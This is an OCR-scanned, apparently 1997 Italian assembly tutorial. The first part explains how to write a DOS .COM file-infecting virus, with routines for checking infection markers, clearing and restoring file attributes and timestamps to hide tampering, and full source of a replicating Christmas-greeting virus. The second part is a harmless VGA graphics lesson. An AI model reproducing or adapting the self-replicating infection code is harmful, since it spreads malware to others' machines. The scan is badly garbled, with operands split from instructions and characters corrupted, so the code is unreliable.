mov ah, 3Fh ;legge i primi 4 byte del file
mov cx,4 ;e 1i mette in buffer
lea dx, [bp+OFFSET buffer]
int 21h

cmp byte ptr [buffe+3],ID Byte ;controllo il 4 byte
je gia fatto ;se sono uguali e gia infetto

Un altro modo pit complesso € quello di cerca una serie di istruzioni caratteristiche del virus.

PASSO 3 - Infettalo!!!

Questa ¢ la parte piu' difficile e importante: il cuore del replicatore.
Una volta trovato il file da infettare si devono salvare i suoi attributi, la data, I'ora e la dimensione. Questi
dati si trovano nel DTA come spiegato nella tabella seguente:

Offset Dimensione Significato



Oh 21 bytes Riservati (?)

15h byte Attributi del file

16h word Ora

18h word Data

20h dword Dimensione

1Eh 13 bytes Nome(ASCIIZ) + Estensione

Come vedete nel DTA si trovano tutte le info necessarie, e per salvarle basta:

lea si, [bp+OFFSET DTA+15]
mov cx,9
lea di, [bp+OFFSET f attr]
rep movsb

;variabili:
f attr db ?
f time dw ?
f date dw ?
f size dd ?

Per poter infettare i file di systema, quelli nascosti ecc... dovete resettare gli attributi tramite I'int 21h,43h,01h.
Una volta fatto cio potete aprire il file in lettura/scrittura ed effettuare I'infezione.

Dopo aver infettato il file (e lo vedremo nel dettaglio con un esempio) € importante cancellare le tracce
dell'infezione ripristinando la data e I'ora e reimpostando gli attributi originali:

mov ax,57,01h
mov dx,WORD PTR [bp+f date]
mov cx,WORD PTR [bp+f time]
int 21h ;ripristina data e ora

mov ah,4301h
lea dx, [bptOFFSET DTA + 1Eh]

XOr ch, ch
mov cl,BYTE PTR [bp+f attrib]
int 21h ;ripristina gli attributi

Al solito per capire meglio il tutto vi presento un semplice virus.

;virus.asm - bOnu$, 1997
;NB Non mi assumo responsabilita sui danni causati da un uso incorretto di
;questo pgm.
;Si attiva solo nel mese di Dicembre e visualizza gli auguri di Natale
code segment byte public

assume cs:code,ds:code,es:code,ss:code

org 100h ;file .COM
start:

db 0E%h,0,0 ;Salta al prox comando
virus:

call inizio ;Salva 1l'indirizzo nello stack
inizio:

pop bp ;Setta BP

sub bp,offset inizio

lea si, [bptoffset oldjump] ;Indirizzo vecchio

mov di,100h



push

movsb
movsb
movsb

lea

mov
int

lea
call

call
cmp
jne
Jjmp

skip:
jmp

strt:
lea
mov

disp:
lodsb
or
je
int
Jmp

dend:
mov

mov
int
retn

findfirst:
mov
mov

findnext:
int
jc

call

Findnext2:
mov
jmp

quit:
ret

infection:
mov
call
mov
lea
mov
int
mov
int

CheckCom:
mov

di

dx, [bptoffset dtal

ah,lah
21h

dx, [bptoffset comfilespec]

findfirst

get month
ax,000Ch
skip

short strt

dend

si, [bp + testo]

ah, OEh

al,al
dend
010h
short disp

dx, 80h

ah, lah
21h

ah, 4eh
cx, 7

21h

quit

infection

ah,4fh
findnext

ax,3d00h
open
cx, lah

dx, [bptoffset buffer]

ah,3fh
21h
ah, 3eh
21h

bx, [bptoffset dta+lah]

;Salvo dove metterlo
;cosl possiamo ritornare

;Indirizzo del nuovo DTA

;setta 11 DTA!!

;jcerca e infetta 1 file .com

;Controlla in che mese siamo
JE' 127

;Se no salta gli auguri

;Si e Dicembre!

;Salta la routine

;SI punta al testo da scrivere
;Uso 1'int 10h, 0Eh per stampare

;Carico 11 carattere
;Se ¢ 0 € finita

;visualizzo il car

;prendo il prox carattere

;Indirizzo del DTA originale
;Lo rimetto dov'era

;setta il DTA!!

;Ritorno al pgm

;jtrova il primo file
;con questi attributi

;Trovo il prox

;Se non trovo niente smetto

;Altrimenti infetto

;Cerco il prox
;Ciclo

;stop!

;Apro il file in lettura

;salvo 1 dati

;Leggo

;chiudo i1 file

;Prelevo la dimensione



mov cx,word ptr [bptbuffer+l] ;prelevo 1l'indirizzo del salto

add cx,eof-virus+3 ;e ci sommo la lunghezza del virus
cmp bx, cx ;controllo dimensione
jz quitinfect
Jjmp infectcom
quitinfect:
ret
InfectCom:
sub bx, 3 ;setto per il nuovo salto

lea di, [bptoldjump]

lea si, [bptbuffer]

MovVsSwW

movsb

mov [bptbuffer],byte ptr 0e%h

mov word ptr [bptbuffer+l],bx ;salvo

mov cx,3 ;numero di byte da scrivere
jmp finishinfection
FinishInfection:
push cx ;salvo il numero di byte da scrivere
XOor Ccx,CX ;azzero attributi
call attributes
mov al,2 ;apro il file in lett/scritt
call open
lea dx, [bptbuffer] ;dx punta ai dati
pop cx ;cx=numero byte
mov ah, 40h ;scrivo
int 21h
jc closefile
mov al,02 ;sposto il puntatore in fondo
Call move fp
mov cx,eof-virus ;dimensione virus
lea dx, [bptoffset virus] ;indirizzo di inizio
mov ah, 40h ;scrivo i1l virus
int 21h
closefile:
mov ax,5701lh ;ripristina ora e data
mov dx,word ptr [bp+tdta+l18h]
mov cx,word ptr [bpt+dta+l6h] ;sono ne DTA!!
int 21h
mov ah, 3eh ;chiudo 11 file
int 21h
Xor CcX,CX
mov cl,byte ptr [bpt+dta+l15h] ;Prendo i vecchi attrib.
call attributes
retn
move fp: ;muove il puntatore
XOr Ccx,CX ;del file ad al

XOr dx, dx
mov ah,42h

int 21h
retn
open:
lea dx, [bp+DTA+30] ;11 nome €& nel DTA
mov ah, 3dh ;apre il file
int 21h
xchg ax,bx ;bx contine 1l'handle
ret
attributes:

lea dx, [bp+DTA+30]



mov ax,4301lh ; setta gli attrib.
int 21h
ret

get month proc near

mov ah, 02Ah ;Preleva la data
int 021h

mov al,dh ;al=mese

cbw ;estende ad ax
ret

get month endp

testo do 13,10,13,10,"Boun Natale a tutti !!!",13,10,0
comfilespec db '*.com',O ;file da cercare
oldjump db 090h,0CDh, 020h ;Vecchio jump
eof equ $ ;Segna la fine del file
buffer db 1Ah dup(?)
dta dbo 42 dup(?)
code ends

end start

Note Finali

Il programma mi sembra gia abbastanza commentato quindi non spendero altro tempo per rispiegarvi cose gia
dette.
Vi prego ancora una volta di stare attenti a giocare con questi programmi.

Tratteremo in questo tutorial un argomento tra i pit interessanti nella programmazione.

Non riuscird certo a coprire I'intero argomento, mi propongo solo di dare una infarinatura generale lasciando poi a
voi il compito di approfondire I'argomento, in rete si trovano molte informazioni sulla programmazione della
scheda video.

Il modo grafico che considererd qui € il 13h, quello della VGA "Standard" che lavora a 320x200 con 256 colori.

PROGRAMMAZIONE DELLA VGA

La prima cosa che un programma assembly (ma anche in ogni altro linguaggio) deve fare, € impostare la modalita.
Bene, questo puod essere fatto utilizzando I'int 10h tramite la funzione 00h. Quindi:

Set VGA PROC

mov ax,0013h ;ah=00 al=13h (modalita 320x200x256)
int 10h
RET

Set VGA ENDP

Una volta terminato il programma si deve reimpostare la modalita testo, anche questo puo essere fatto tramite
I'int 10h:

Set TXT PROC

mov ax,0003h ;ah=00 al=03h (modalita testo 80x25)
int 10
RET

Set TXT ENDP

Ora che siamo riusciti ad impostare la modalita grafica voluta vediamo come si pué mettere un Pixel sullo
schermo.
Anche per questa operazione si puo ricorrere all'int 10h (funzione 0Ch)



Put Pixel PROC
mov ah, 0Ch

mov al,Color ;jcolore del pixel

mov cx, X ;coordinata X

mov dx, Y ;coordinata Y

mov bx, 1 ;numero di pagina (per le modalita con piu pagine)
int 10h

RET

Put Pixel ENDP

Un problema di questo modo di posizionare un pixel sul video € dato dalla lentezza veramente insopportabile in
alcune applicazioni, percio invece di usare la funzione del BIOS (int 10h) possiamo accedere direttamente alla
memoria video.

Il segmento in cui questa risiede & all'indirizzo A000, quindi il punto di coordinate 0,0 sara allindirizzo A000:0000
quello di coordinate 319,199 a AOOO:FFFF. E il punto di coordinate 145,76??

Bene per trovare l'indirizzo di un generico punto x,y in memoria si puo usare la formula:

ind = x + (Y * 320)

Chiaro?

OK ma cosa ci mettiamo all'indirizzo calcolato??

Bene a quell'indirizzo ci va l'indice del colore del pixel.

Per capire bene questo dobbiamo fare una parentesi sulla palette.

La Palette

La palette ¢ la tavolozza dei colori da usare per realizzre il nostro disegno. Si tratta di un array
bidimensionale di 256 elementi ognuno dei quali contiene 3 valori che corrispono al livello di Rosso, Verde,
Blu (R G B).

Palette
O r g b
1 r g b
2 r g b

Come voi saprete mescolando in modo opporutuno il Rosso, Verde e Blue possiamo ottenere tutti i colori che
vogliamo. Le gradazioni di R G e B vanno da 0 a 63.

Per leggere il valore di R G e B di un colore dalla palette procedo nel modo seguente:

get pal PROC

mov dx, 3c7h ;porta in cui va indicato 1l'indice del colore
mov al,col ;col € 1'indice del colore da leggere (0..255)
out dx,al

add dx, 2 ;3c9h e la porta da cui si leggono i 3 valori
in al,dx

mov R,al

in al,dx

mov G,al

in al,dx

mov B,al ; in R, G e B ho i valori

RET

get pal ENDP

La procedura inversa, quella per impostare i valori di R G e B nella palette € la seguente:

set pal PROC
mov dx, 3c8h ;porta incui va indicato l'indice del colore
;da scrivere (NB e diverso dal precedente!!)



mov al,col

out dx,al ;scrivo sulla porta il colore

inc dx ;3c9 e la porta su cui scrivere i 3 valori RGB
mov al,R

out dx,al

mov al,G

out dx,al

mov al,B
out dx,al ;ora nella palette c'e il nuovo colore
RET

set pal ENDP

Spero di aver chiarito cosié e come funziona la palette.

Tornando al discorso della put_pixel che agisce direttamente in memoria si diceva che all'indirizzo calcolato dalla
formula si doveva scrivere l'indice del colore, beh ora € chiaro no? Metto I'indice che il colore ha nella palette.

Per concludere il discorso vi lascio un esempio che utilizza un po' tutte le funzioni viste. Si tratta di un programma
che simula I'effetto neve che si vede sui televisori rotti o non sintonizzati.

;SNOW.ASM - By bOnu$, 1997

.286

SEG A  SEGMENT
ASSUME CS:SEG A, DS:SEG A
ORG 100H

SNOW PROC FAR
INIT: JMP START

rgb db 3 dup(?) ; Array che contiene i1 valori di RGB del colore
num_rnd val dw 12345 ; A caso
num_rnd mul dw 9421 ; A caso
START :
mov ax,0013h
int 10h ;imposto modalita 320x200
XOor ax,ax

loop pal: mov rgb[0],al
mov rgb[l],al
mov rgb[2],al
CALL Set Pal ; imposto la palette con tutte le tonalita di
; grigio nel quale si ha R=G=B.
inc al
cmp al, OFFh
jne loop pal

XOor bx,bx 5 x=0
Ciclo x: xor dx, dx ;y=0 ;parto da 0,0
Ciclo y: push dx ;questo ciclo posiziona a caso pixel sullo schermo

push dx

CALL Random

pop dx

CALL Put Pixel

pop dx

inc dx

cmp dx, 0C7h ;199

jne Ciclo y

inc bx

cmp bx, 013Fh ;319

jne Ciclo x

mov ax,0003h
int 10h ;imposto modalita txt
RETN

SNOW ENDP



Put Pixel PROC ;dx=y bx=x ah=col
push ax ;usa l'accesso diretto in memoria video
mov ax, 0A000h
mov es,ax
push bx
mov dh,dl
XOor dl,dl

shl bx, 6
add dx, bx
pop bx
add bx,dx
mov di,bx

XOor al,al

pop ax ;prelevo il colore
mov es: [di],ah
RET

Put Pixel ENDP

Set Pal PROC ;al=colore
mov dx, 3c8h
; mov al, [col]
out dx,al
inc dx
mov al,rgb[0] ;red
out dx,al
mov al,rgb[1] ;green
out dx,al
mov al,rgb[2] ;blue
out dx,al
RET

Set Pal ENDP

Random PROC ;Genera un numero casuale con l'algoritmo di D.Lehmer
mov ax,num_rnd val
mul num_rnd mul
inc ax
mov num_rnd val,ax
RET

Random ENDP

SEG_A ENDS
END  INIT

Note Finali

Naturalmente non pretendo certo di aver coperto l'intero I'argomento, prendetelo solo come un introduzione, un
punto di partenza da cui spiccare il salto verso la grafica avanzata.

Qui spero solo di avervi fatto capire alcuni meccanismi che stanno alla base della programmazione della scheda
video VGA.
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